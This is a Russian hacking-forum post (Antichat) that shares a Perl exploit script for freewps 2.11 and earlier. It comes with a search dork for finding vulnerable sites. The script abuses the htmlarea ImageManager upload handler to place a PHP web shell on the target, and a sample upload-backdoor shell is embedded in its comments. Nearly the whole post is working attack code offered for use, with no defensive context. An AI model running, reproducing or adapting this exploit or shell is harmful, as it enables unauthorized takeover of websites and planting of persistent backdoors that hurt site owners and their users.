Форум АНТИЧАТ - freewps<=2.11 remote shell uploader exploit

Переделан из http://www.milw0rm.com/exploits/704
вместо http://www.milw0rm.com/exploits/1600

dork: inurl:/htmlarea/popups/ImageManager/images.php
Код:
## freewps<=2.11 remote shell uploader exploit ##

use IO::Socket;

if(@ARGV < 1){

   usage();

   exit;

}

open(FILE, 'shell.php'); # your shell code here (max 2 kb);

#############################################################################################################

# shell code example:

#<?php if(isset($_POST['go'])){if(is_uploaded_file($_FILES['userfile']['tmp_name'])){@copy($_FILES['userfile']['tmp_name'],$_FILES['userfile']['name']);}}?>

#<form enctype=multipart/form-data  method=post><input name='userfile' type=file><input type=submit name='go'></form>

##############################################################################################################

$path = ""; # path to /htmlarea/

@file = <FILE>;

close(FILE);

$shell = join('', @file);

$shell_name = 'lala4.php'; # shell name

print "-=[ freewps<=2.11 remote shell uploader  ]=-\n";

print "        by Pashkela [bugtrack team] 2010  \n\n";

print "        from http://www.milw0rm.com/exploits/704  \n\n";

print "        instead of http://www.milw0rm.com/exploits/1600  \n\n";

$host[0] = $ARGV[0];

if($host[0] =~ /\//){

   ($host[1],$host[2])=split(/\//,$host[0]);

   $host[0] =~ /\/(.*)/;

   $host[3] = "/";

   $host[3] .= $1;

}

$host[1] = $host[0] if(!$host[1]);

print "# $host[1]\n";

$path = $host[3] . $path . "/htmlarea/popups/ImageManager/images.php";

$socket=IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host[1],PeerPort=>80,Timeout=>10)|| die "  s0k off\n";

print $socket "POST $path HTTP/1.1\r\n";

print $socket "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

print $socket "Referer: http://www.lapropinacultural.com.ar/handlers/htmlarea/popups/insert_image.php\r\n";

print $socket "Accept-Language: pt\r\n";

print $socket "Content-Type: multipart/form-data; boundary=---------------------------7d410e113f8\r\n";

print $socket "Accept-Encoding: gzip, deflate\r\n";

print $socket "User-Agent: l33t br0ws3r\r\n";

print $socket "Host: $host[1]\r\n";

print $socket "Content-Length: 1646\r\n";

print $socket "Connection: Keep-Alive\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"dirPath\"\r\n\r\n";

print $socket "/\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"url\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"width\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"vert\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"alt\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"height\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"horiz\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"upload\"; filename=\"$shell_name\"\r\n";

print $socket "Content-Type: application/octet-stream\r\n\r\n";

print $socket "$shell\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"align\"\r\n\r\n";

print $socket "baseline\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"border\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"orginal_width\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"orginal_height\"\r\n\r\n\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"constrain_prop\"\r\n\r\n";

print $socket "on\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";

print $socket "Refresh\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";

print $socket "OK\r\n";

print $socket "-----------------------------7d410e113f8\r\n";

print $socket "Content-Disposition: form-data; name=\"cancel\"\r\n\r\n";

print $socket "Cancel\r\n";

print $socket "-----------------------------7d410e113f8--\r\n\r\n\r\n\r\n";

@socket = <$socket>;

foreach $teste(@socket){

  if($teste=~ /<title>Image Browser<\/title>/){

     print "# Shell uploaded!\n";

     print "# Here: \n# $host[0]/$shell_name\n";

     $result = 1;

  }

}

close($socket);

if($result){

  exit;

} else {

  print "Exploit failed..."

}

sub usage(){

    print "-=[ freewps<=2.11 remote shell uploader  ]=-\n";

    print "        by Pashkela [bugtrack team] 2010  \n\n";

    print "        from http://www.milw0rm.com/exploits/704  \n\n";

    print "        instead of http://www.milw0rm.com/exploits/1600  \n\n";

    print "# usage: perl $0 <host> \n";

}